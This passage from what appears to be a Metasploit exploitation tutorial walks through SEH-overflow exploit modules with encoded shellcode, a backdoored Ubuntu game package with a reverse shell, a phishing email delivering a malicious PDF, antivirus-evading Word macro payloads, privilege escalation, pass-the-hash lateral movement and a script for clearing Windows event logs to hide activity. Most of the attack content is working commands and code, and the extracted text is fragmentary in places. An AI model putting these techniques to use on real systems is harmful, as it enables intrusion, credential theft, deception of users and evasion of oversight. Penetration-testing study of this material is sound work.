This is due to the opcodes (“x89xe2xdbxdbxd9x72”) at the beginning of the payload, which are needed in order to
find the payloads absolute location in memory and obtain a fully position-independent shellcode:
Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the
ECX register, which will then be used to calculate relative offsets. However, if we are somehow able to obtain the
absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can
use the special option BufferRegister=REG32 while encoding our payload:
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/bind_tcp -e x86/
˓→alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 651 (iteration=0)
x86/alpha_mixed chosen with final size 651
Payload size: 651 bytes
buf = ""
buf += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41"
buf += "\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
buf += "\x6c\x49\x78\x4d\x52\x77\x70\x47\x70\x47\x70\x35\x30"
buf += "\x6e\x69\x49\x75\x44\x71\x79\x50\x42\x44\x6c\x4b\x72"
buf += "\x70\x74\x70\x6e\x6b\x50\x52\x34\x4c\x6c\x4b\x43\x62"
buf += "\x57\x64\x6c\x4b\x33\x42\x56\x48\x74\x4f\x6d\x67\x72"
buf += "\x6a\x45\x76\x46\x51\x79\x6f\x6c\x6c\x75\x6c\x71\x71"
buf += "\x63\x4c\x43\x32\x36\x4c\x75\x70\x79\x51\x7a\x6f\x36"
buf += "\x6d\x33\x31\x48\x47\x38\x62\x39\x62\x56\x32\x43\x67"
buf += "\x6c\x4b\x62\x72\x52\x30\x6c\x4b\x63\x7a\x57\x4c\x6c"
buf += "\x4b\x32\x6c\x54\x51\x63\x48\x4a\x43\x37\x38\x33\x31"
buf += "\x6e\x31\x42\x71\x4e\x6b\x62\x79\x55\x70\x37\x71\x7a"
buf += "\x73\x6e\x6b\x50\x49\x76\x78\x78\x63\x55\x6a\x47\x39"
buf += "\x6e\x6b\x45\x64\x6e\x6b\x55\x51\x4a\x76\x64\x71\x69"
buf += "\x6f\x4e\x4c\x7a\x61\x78\x4f\x54\x4d\x36\x61\x79\x57"
buf += "\x74\x78\x79\x70\x74\x35\x68\x76\x35\x53\x51\x6d\x38"
buf += "\x78\x75\x6b\x31\x6d\x56\x44\x31\x65\x59\x74\x56\x38"
buf += "\x4c\x4b\x33\x68\x55\x74\x75\x51\x4e\x33\x73\x56\x4c"
buf += "\x4b\x76\x6c\x52\x6b\x4c\x4b\x66\x38\x65\x4c\x63\x31"
buf += "\x4b\x63\x6e\x6b\x64\x44\x6e\x6b\x35\x51\x6e\x30\x4c"
buf += "\x49\x73\x74\x61\x34\x31\x34\x73\x6b\x73\x6b\x75\x31"
buf += "\x70\x59\x72\x7a\x36\x31\x4b\x4f\x79\x70\x53\x6f\x61"
buf += "\x4f\x63\x6a\x4e\x6b\x35\x42\x68\x6b\x4e\x6d\x61\x4d"
buf += "\x61\x78\x34\x73\x56\x52\x55\x50\x53\x30\x53\x58\x63"
buf += "\x47\x33\x43\x74\x72\x51\x4f\x66\x34\x75\x38\x50\x4c"
(continues on next page)
In this case, we told msfencode that we took care of finding the shellcodes absolute address and we saved it in the
ECX register:
As you can see in the previous image, ECX was previously set in order to point to the beginning of our alphanumeric
shellcode. At this point, our payload starts directly realigning ECX to begin the shellcode decoding sequence.
MSFrop
root@kali:# msfrop -h
Options:
-d, --depth [size] Number of maximum bytes to backwards disassemble
˓→from return instructions
-s, --search [regex] Search for gadgets matching a regex, match intel
˓→syntax or raw bytes
Running msfrop with the -v switch will return all of the found gadgets directly to the console:
root@kali:/tmp# msfrop -v metsrv.dll
Collecting gadgets from metsrv.dll
Found 4829 gadgets
The verbose msfrop output is not particularly helpful when a binary contains thousands of gadgets, so a far more useful
switch is ‘-x‘ which allows you to output the gadgets into a CSV file that you can then search later.
root@kali:/tmp# msfrop -x metsrv_gadgets metsrv.dll
Collecting gadgets from metsrv.dll
Found 4829 gadgets
Previously we looked at Fuzzing an IMAP server in the Simple IMAP Fuzzer section. At the end of that effort we
found that we could overwrite EIP, making ESP the only register pointing to a memory location under our control (4
bytes after our return address). We can go ahead and rebuild our buffer (fuzzed = “A”*1004 + “B”*4 + “C”*4) to
confirm that the execution flow is redirectable through a JMP ESP address as a ret.
msf auxiliary(fuzz_imap) > run
We now need to determine the correct offset in order get code execution. Fortunately, Metasploit comes to the rescue
with two very useful utilities: pattern_create.rb and pattern_offset.rb. Both of these scripts are located in Metasploit’s
‘tools’ directory. By running pattern_create.rb , the script will generate a string composed of unique patterns that we
can use to replace our sequence of ‘A’s.
Example :
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 11000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5...
After we have successfully overwritten EIP or SEH (or whatever register you are aiming for), we must take note of the
value contained in the register and feed this value to pattern_offset.rb to determine at which point in the random string
the value appears.
Rather than calling the command line pattern_create.rb, we will call the underlying API directly from our fuzzer using
the Rex::Text.pattern_create(). If we look at the source, we can see how this function is called.
def self.pattern_create(length, sets = [ UpperAlpha, LowerAlpha, Numerals ])
buf = ''
idx = 0
(continues on next page)
So we see that we call the pattern_create function which will take at most two parameters, the size of the buffer we
are looking to create and an optional second paramater giving us some control of the contents of the buffer. So for our
needs, we will call the function and replace our fuzzed variable with fuzzed = Rex::Text.pattern_create(11000).
This causes our SEH to be overwritten by 0x684E3368 and based on the value returned by pattern_offset.rb, we can
determine that the bytes that overwrite our exception handler are the next four bytes 10361, 10362, 10363, 10364.
As it often happens in SEH overflow attacks, we now need to find a POP POP RET (other sequences are good as
well as explained in “Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003
Server” Litchfield 2003) address in order to redirect the execution flow to our buffer. However, searching for a suitable
return address in surgemail.exe, obviously leads us to the previously encountered problem, all the addresses have a
null byte.
[surgemail.exe]
0x0042e947 pop esi; pop ebp; ret
0x0042f88b pop esi; pop ebp; ret
0x00458e68 pop esi; pop ebp; ret
0x00458edb pop esi; pop ebp; ret
0x00537506 pop esi; pop ebp; ret
0x005ec087 pop ebx; pop ebp; ret
Fortunately this time we have a further attack approach to try in the form of a partial overwrite, overflowing SEH with
only the 3 lowest significant bytes of the return address. The difference is that this time we can put our shellcode into
the first part of the buffer following a schema like the following:
POP POP RET will redirect us 4 bytes before RET where we will place a short JMP taking us 5 bytes back. We’ll
then have a near back JMP that will take us in the middle of the NOPSLED.
This was not possible to do with a partial overwrite of EIP and ESP, as due to the stack arrangement ESP was four
bytes after our RET. If we did a partial overwrite of EIP, ESP would then be in an uncontrollable area.
Next up, writing an exploit and getting a shell with what we’ve learned about our code improvements.
Getting a Shell
With what we have learned, we write the exploit and save it to ‘windows/imap/surgemail_list.rb’. Let’s take a look at
our new exploit module below:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
include Msf::Exploit::Remote::Imap
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connected = connect_login
nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_
˓→nops()
end
The most important things to notice in the previous exploit code are the following:
• We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable
the automatic shellcode padding, we’ll pad the payload on our own.
• We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.
• We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.
• We defined a check function which can check the IMAP server banner in order to identify a vulnerable server
and an exploit function that obviously is the one that does most of the work.
Let’s see if it works:
password for the specified username IMAPUSER test no The username to authenticate as RHOST
172.16.30.7 yes The target address RPORT 143 yes The target port
Payload options (windows/shell/bind_tcp):
Name Current Setting Required Description —- ————— ——– ———– EXITFUNC thread yes Exit
technique: seh, thread, process LPORT 4444 yes The local port RHOST 172.16.30.7 no The target address
Exploit target:
Id Name – —- 0 Windows Universal
Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for
example). Now we check for the server version:
Yes! Now let’s run the exploit attaching the debugger to the surgemail.exe process to see if the offset to overwrite SEH
is correct:
The offset is correct, we can now set a breakpoint at our return address:
Now we can redirect the execution flow into our buffer executing the POP POP RET instructions:
and finally execute the two jumps on the stack which will land us inside our NOP sled:
So far so good, time to get our Meterpreter shell, let’s rerun the exploit without the debugger:
c:\surgemail>
Going on an Egg-hunt
The MSF egghunter mixin is a wonderful module which can be of great use in exploit development. If you’re not
familiar with the concepts of egghunters, read this first.
A vulnerability in the Audacity Audio Editor presents us with an opportunity to examine this mixin in greater depth.
In the next module, we will exploit Audacity and create a Metasploit file format exploit module for it. We will not
focus on the exploitation method itself or the theory behind it – but dive right into the practical usage of the Egghunter
mixin.
Please note, the following example uses Microsoft’s Windows XP SP2 as it’s target. If you wish to reproduce the
following you’ll need to setup your own VM. If SP2 is not available to you, SP3 can be used but make sure to disable
DEP in C:boot.ini using the following: /noexecute=AlwaysOff
Todo
Although Metasploit is commercially owned, it is still an open source project and grows and thrives based on user-
contributed modules. As there are only a handful of full-time developers on the team, there is a great opportunity
to port existing public exploits to the Metasploit Framework. Porting exploits will not only help make Metasploit
more versatile and powerful, it is also an excellent way to learn about the inner workings of the Framework and helps
you improve your Ruby skills at the same time. One very important point to remember when writing Metasploit
modules is that you always need to use hard tabs and not spaces. For a few other important module details, refer to
the HACKING file located in the root of the Metasploit directory. There is some important information that will help
ensure your submissions are quickly added to the trunk.
To begin, we’ll first need to obviously select an exploit to port over. We will use the A-PDF WAV to MP3 Converter
exploit. When porting exploits, there is no need to start coding completely from scratch; we can simply select a
pre-existing exploit module and modify it to suit our purposes. Since this is a fileformat exploit, we will look under
modules/exploits/windows/fileformat/ off the main Metasploit directory for a suitable candidate. This particular ex-
ploit is a SEH overwrite so we need to find an exploit module that uses the Msf::Exploit::Remote::Seh mixin. We can
find this near the top of the exploit audiotran_pls.rb as shown below.
require 'msf/core'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
Having found a suitable template to use for our module, we then strip out everything specific to the existing module and
save it under ~/.msf4/modules/exploits/windows/fileformat/. You may need to create the additional directories under
your home directory if you are following along exactly. Note that it is possible to save the custom exploit module
under the main Metasploit directory but it can cause issues when updating the framework if you end up submitting a
module to be included in the trunk. Our stripped down exploit looks like this:
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'filename.ext
˓→ ']),
], self.class)
end
def exploit
file_create(sploit)
end
end
Now that our skeleton is ready, we can start plugging in the information from the public exploit, assuming that it has
been tested and verified that it works. We start by adding the title, description, author(s), and references. Note that it
is common courtesy to name the original public exploit authors as it was their hard work that found the bug in the first
place.
Everything is self-explanatory to this point and other than the Metasploit module structure, there is nothing com-
plicated going on so far. Carrying on farther in the module, we’ll ensure the EXITFUNC is set to ‘seh‘ and set
‘DisablePayloadHandler‘ to ‘true‘ to eliminate any conflicts with the payload handler waiting for the shell. While
studying the public exploit in a debugger, we have determined that there are approximately 600 bytes of space avail-
able for shellcode and that x00 and x0a are bad characters that will corrupt it. Finding bad characters is always tedious
but to ensure exploit reliability, it is a necessary evil.
In the ‘Targets‘ section, we add the all-important pop/pop/retn return address for the exploit, the length of the buffer
required to reach the SE Handler, and a comment stating where the address comes from. Since this return address is
from the application binary, the target is ‘Windows Universal‘ in this case. Lastly, we add the date the exploit was
disclosed and ensure the ‘DefaultTarget‘ value is set to 0.
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r
˓→in wavtomp3.exe
],
'Privileged' => false,
'DisclosureDate' => 'Aug 17 2010',
'DefaultTarget' => 0))
The last part we need to edit before moving on to the actual exploit is the register_options section. In this case, we
need to tell Metasploit what the default filename will be for the exploit. In network-based exploits, this is where we
would declare things like the default port to use.
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
], self.class)
The final, and most interesting, section to edit is the exploit block where all of the pieces come together. First,
rand_text_alpha_upper(target[‘Offset’]) will create our buffer leading up to the SE Handler using random, upper-
case alphabetic characters using the length we specified in the Targets block of the module. Next, gener-
ate_seh_record(target.ret) adds the short jump and return address that we normally see in public exploits. The next part,
make_nops(12), is pretty self-explanatory; Metasploit will use a variety of No-Op instructions to aid in IDS/IPS/AV
evasion. Lastly, payload.encoded adds on the dynamically generated shellcode to the exploit. A message is printed to
the screen and our malicious file is written to disk so we can send it to our target.
def exploit
sploit = rand_text_alpha_upper(target['Offset'])
sploit >> generate_seh_record(target.ret)
sploit >> make_nops(12)
sploit >> payload.encoded
end
Now that we have everything edited, we can take our newly created module for a test drive.
Exploits
========
Module options:
Exploit target:
Id Name
-- ----
0 Windows Universal
Everything seems to be working fine so far. Now we just need to setup a Meterpreter listener and have our victim open
up our malicious file in the vulnerable application.
Success! Not all exploits are this easy to port over but the time spent is well worth it and helps to make an already
excellent tool even better.
For further information on porting exploits and contributing to Metasploit in general, see the following
links:
https://github.com/rapid7/metasploit-framework/blob/master/HACKING
https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
Client side attacks are always a fun topic and a major front for attackers today. As network administrators and software
developers fortify the perimeter, pentesters need to find a way to make the victims open the door for them to get into
the network. Client side attacks require user-interaction such as enticing them to click a link, open a document, or
somehow get to your malicious website.
There are many different ways of using Metasploit to perform client-side attacks and we will demonstrate a few of
them here.
It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable
from a Metasploit payload. This can be very useful in situations such as social engineering; if you can get a user to
run your payload for you, there is no reason to go through the trouble of exploiting any software.
Let’s look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote
system, and get our shell. To do this, we will use the command line tool msfvenom. This command can be used for
generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are
interested in the executable output, which is provided by the ‘-f exe‘ option.
We’ll generate a Windows reverse shell executable that will connect back to us on port 31337.
Provided by:
spoonm
sf
hdm
skape
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread,
˓→process, none)
Description:
Spawn a piped command shell (staged). Connect back to the attacker
Now we see we have a Windows executable ready to go. Now, we will use multi/handler, which is a stub that handles
exploits launched outside of the framework.
root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > show options
Module options:
Exploit target:
When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to
have the same settings as the executable we generated.
Module options:
Exploit target:
Id Name
-- ----
0 Wildcard Target
Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated
executable on the victim. The multi/handler handles the exploit for us and presents us our shell.
In order to demonstrate that client side attacks and trojans are not exclusive to the Windows world, we will
package a Metasploit payload in with an Ubuntu deb package to give us a shell on Linux. An excel-
lent video was made by Redmeat_uk demonstrating this technique that you can view at http://securitytube.net/
Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx
We first need to download the package that we are going to infect and move it to a temporary working directory. In
our example, we will use the package freesweep, a text-based version of Mine Sweeper.
root@kali:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
root@kali:~# mkdir /tmp/evil
root@kali:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@kali:~# cd /tmp/evil/
root@kali:/tmp/evil#
Next, we need to extract the package to a working directory and create a DEBIAN directory to hold our additional
added “features”.
root@kali:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work
root@kali:/tmp/evil# mkdir work/DEBIAN
In the DEBIAN directory, create a file named control that contains the following:
root@kali:/tmp/evil/work/DEBIAN# cat control
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.
We also need to create a post-installation script that will execute our binary. In our DEBIAN directory, we’ll create a
file named postinst that contains the following :
root@kali:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh
Now we’ll create our malicious payload. We’ll be creating a reverse shell to connect back to us named
freesweep_scores.
root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp
˓→ LHOST=192.168.1.101 LPORT=443 -b "\x00" -f elf -o /tmp/evil/work/usr/games/
˓→freesweep_scores
We’ll now make our post-installation script executable and build our new package. The built file will be named
work.deb so we will want to change that to freesweep.deb and copy the package to our web root directory.
If it is not already running, we’ll need to start the Apache web server.
On our Ubuntu victim, we have somehow convinced the user to download and install our awesome new game.
As the victim installs and plays our game, we have received a shell!
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...
hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)
As we have already discussed, Metasploit has many uses and another one we will discuss here is client side exploits.
To show the power of how MSF can be used in client side exploits we will use a story.
In the security world, social engineering has become an increasingly used attack vector. Even though technologies are
changing, one thing that seems to stay the same is the lack of security with people. Due to that, social engineering has
become a very “hot” topic in the security world today.
In our first scenario our attacker has been doing a lot of information gathering using tools such as the Metasploit
Framework, Maltego and other tools to gather email addresses and information to launch a social engineering client
side exploit on the victim.
After a successful dumpster dive and scraping for emails from the web, he has gained two key pieces of information.
1. They use “Best Computers” for technical services.
2. The IT Dept has an email address of [email protected]
We want to gain shell on the IT Departments computer and run a key logger to gain passwords, intel or any other juicy
tidbits of info.
We start off by loading our msfconsole. After we are loaded we want to create a malicious PDF that will give the
victim a sense of security in opening it. To do that, it must appear legit, have a title that is realistic, and not be flagged
by anti-virus or other security alert software.
We are going to be using the Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Vulnerability.
Adobe Reader is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate
boundary checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code with the privileges
of the user running the application or crash the application, denying service to legitimate users.
So we start by creating our malicious PDF file for use in this client side exploit.
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
Once we have all the options set the way we want, we run “exploit” to create our malicious file.
So we can see that our pdf file was created in a sub-directory of where we are. So lets copy it to our /tmp directory so
it is easier to locate later on in our exploit. Before we send the malicious file to our victim we need to set up a listener
to capture this reverse connection. We will use msfconsole to set up our multi handler listener.
Now that our listener is waiting to receive its malicious payload we have to deliver this payload to the victim and
since in our information gathering we obtained the email address of the IT Department we will use a handy little script
called sendEmail to deliver this payload to the victim. With a kung-fu one-liner, we can attach the malicious pdf, use
any smtp server we want and write a pretty convincing email from any address we want. . . .
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important
˓→instructions for upgrading and securing your software. Please read and let us know
Sincerely,
As we can see here, the script allows us to put any FROM (-f) address, any TO (-t) address, any SMTP (-s) server as
well as Titles (-u) and our malicious attachment (-a). Once we do all that and press enter we can type any message we
want, then press CTRL+D and this will send the email out to the victim.
Now on the victim’s machine, our IT Department employee is getting in for the day and logging into his computer to
check his email.
He sees the very important document and copies it to his desktop as he always does, so he can scan this with his
favorite anti-virus program.
As we can see, it passed with flying colors so our IT admin is willing to open this file to quickly implement these very
important upgrades. Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF. Instead,
on the attackers machine what is revealed. . . .
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
session[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)
meterpreter >
We now have a shell on their computer through a malicious PDF client side exploit. Of course what would be wise
at this point is to move the shell to a different process, so when they kill Adobe we don’t lose our shell. Then obtain
system info, start a key logger and continue exploiting the network.
meterpreter > ps
Process list
============
Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit
payloads. You can also use your own custom payloads as well. It doesn’t necessarily need to be a Metasploit payload.
This method is useful when going after client-side attacks and could also be potentially useful if you have to bypass
some sort of filtering that does not allow executables and only permits documents to pass through. To begin, we first
need to create our VBScript payload.
As the output message, indicates, the script is in 2 parts. The first part of the script is created as a macro and the second
part is appended into the document text itself. You will need to transfer this script over to a machine with Windows
and Office installed and perform the following:
This will open up the visual basic editor. Paste the output of the first portion of the payload script into the editor,
save it and then paste the remainder of the script into thel word document itself. This is when you would perform the
client-side attack by emailing this Word document to someone.
In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available
on the Internet. That way, the user is happily playing the game while you are working in the background. This gives
you some extra time to migrate to another process if you are using Meterpreter as a payload.
Before we send off our malicious document to our victim, we first need to set up our Metasploit listener.
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.11.4-2015071402 ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
Now we can test out the document by opening it up and check back to where we have our Metasploit ex-
ploit/multi/handler listener:
Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesn’t get
picked up by anti-virus!!!
post/windows/manage/powershell/exec_powershell
Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to
the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options.
Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.
Frequently, especially with client side exploits, you will find that your session only has limited user rights. This can
severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry,
installing backdoors, etc. Fortunately, Metasploit has a Meterpreter script, ‘getsystem’, that will use a number of
different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other
(local) exploits that can be used to also escalate privileges.
Using the infamous ‘Aurora’ exploit, we see that our Meterpreter session is only running as a regular user account.
GetSystem
To make use of the ‘getsystem’ command, if its not already loaded we will need to first load the ‘priv’ extension.
Running getsystem with the “-h” switch will display the options available to us.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
(continues on next page)
meterpreter >
We will let Metasploit try to do the heavy lifting for us by running “getsystem” without any options. The script will
attempt every method available to it, stopping when it succeeds. Within the blink of an eye, our session is now running
with SYSTEM privileges.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Local Exploits
When this happens, we are able to background the session, and manually try some additional exploits that Metasploit
has to offer. Note: The available exploits will change over time.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms10_002_aurora) > use exploit/windows/local/
...snip...
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
...snip...
use exploit/windows/local/ms10_015_kitrap0d
use exploit/windows/local/ms10_092_schelevator
use exploit/windows/local/ms11_080_afdjoinleaf
use exploit/windows/local/ms13_005_hwnd_broadcast
use exploit/windows/local/ms13_081_track_popup_menu
...snip...
msf exploit(ms10_002_aurora) >
Let’s try and use the famous kitrap0d exploit on our target. Our example box is a 32-bit machine and is listed as one
of the vulnerable targets. . .
msf exploit(ms10_002_aurora) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set SESSION 1
msf exploit(ms10_015_kitrap0d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set LHOST 192.168.1.161
msf exploit(ms10_015_kitrap0d) > set LPORT 4443
msf exploit(ms10_015_kitrap0d) > show options
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 (x86)
The psexec module is often used by penetration testers to obtain access to a given system that you already know the
credentials for. It was written by sysinternals and has been integrated within the framework. Often as penetration
testers, we successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other
methods like fgdump, pwdump, or cachedump and then utilize rainbowtables to crack those hash values.
We also have other options like pass the hash through tools like iam.exe. One great method with psexec in metasploit is
it allows you to enter the password itself, or you can simply just specify the hash values, no need to crack to gain access
to the system. Let’s think deeply about how we can utilize this attack to further penetrate a network. Lets first say
we compromise a system that has an administrator password on the system, we don’t need to crack it because psexec
allows us to utilize just the hash values, that administrator account is the same on every account within the domain
infrastructure. We can now go from system to system without ever having to worry about cracking the password. One
important thing to note on this is that if NTLM is only available (for example its a 15+ character password or through
GPO they specify NTLM response only), simply replace the **NOPASSWORD** with 32 0’s for example:
******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
While testing this in your lab, you may encounter the following error even though you are using the correct credentials:
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >
Now that we have a meterpreter console and dumped the hashes, lets connect to a different victim using PSExec and
just the hash values.
root@kali:~# msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
Exploits
========
Name Description
---- -----------
windows/smb/psexec Microsoft Windows Authenticated User Code Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Execution
Module options:
Exploit target:
Id Name
-- ----
0 Automatic
C:\WINDOWS\system32>
That is it! We successfully connect to a seperate computer with the same credentials without having to worry about
rainbowtables or cracking the password. Special thanks to Chris Gates for the documentation on this.
Sometimes it’s best to not have your activities logged. Whatever the reason, you may find a circumstance where
you need to clear away the windows event logs. Looking at the source for the winenum script, located in
‘scripts/meterpreter’, we can see the way this function works.
def clrevtlgs()
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("\tClearing the #{evl} Event Log")
log = @client.sys.eventlog.open(evl)
log.clear
file_local_write(@dest,"Cleared the #{evl} Event Log")
end
print_status("All Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")
end
end
Let’s look at a scenario where we need to clear the event log, but instead of using a premade script to do the work for
us, we will use the power of the ruby interpreter in Meterpreter to clear the logs on the fly. First, let’s see our Windows
‘System’ event log.
Now, let’s exploit the system and manually clear away the logs. We will model our command off of the winenum
script. Running ‘log = client.sys.eventlog.open(‘system’)’ will open up the system log for us.
"windows/browser/facebook_extractiptc"=>#, "windows/antivirus/trendmicro_
˓→serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#,
˓→novell_netmail_append"=>#
Now we’ll see if we can clear out the log by running ‘log.clear’.
>> log.clear => #>#:0xb6779424 @client=#>,
/trendmicro_serverprotect_earthagent”=>#, “windows/browser/ie_iscomponentinstalled”=>#, “win-
dows/exec/reverse_ord_tcp”=>#, “windows/http/apache_chunked”=>#, “windows/imap/novell_netmail_append”=>#
Let’s see if it worked.
Success! We could now take this further, and create our own script for clearing away event logs.
# Clears Windows Event Logs
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_line("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
print_status("Clearing the #{evl} Event Log")
log = client.sys.eventlog.open(evl)
log.clear
end
print_line("All Clear! You are a Ninja!")
After writing our script, we place it in /usr/share/metasploit-framework/scripts/meterpreter/. Then, let’s re-exploit the
system and see if it works.
msf exploit(warftpd_165_user) > exploit
And the only event left in the log on the system is the expected 517.
This is the power of Meterpreter. Without much background other than some sample code we have taken from another
script, we have created a useful tool to help us cover up our actions.
Incognito was originally a stand-alone application that allowed you to impersonate user tokens when successfully
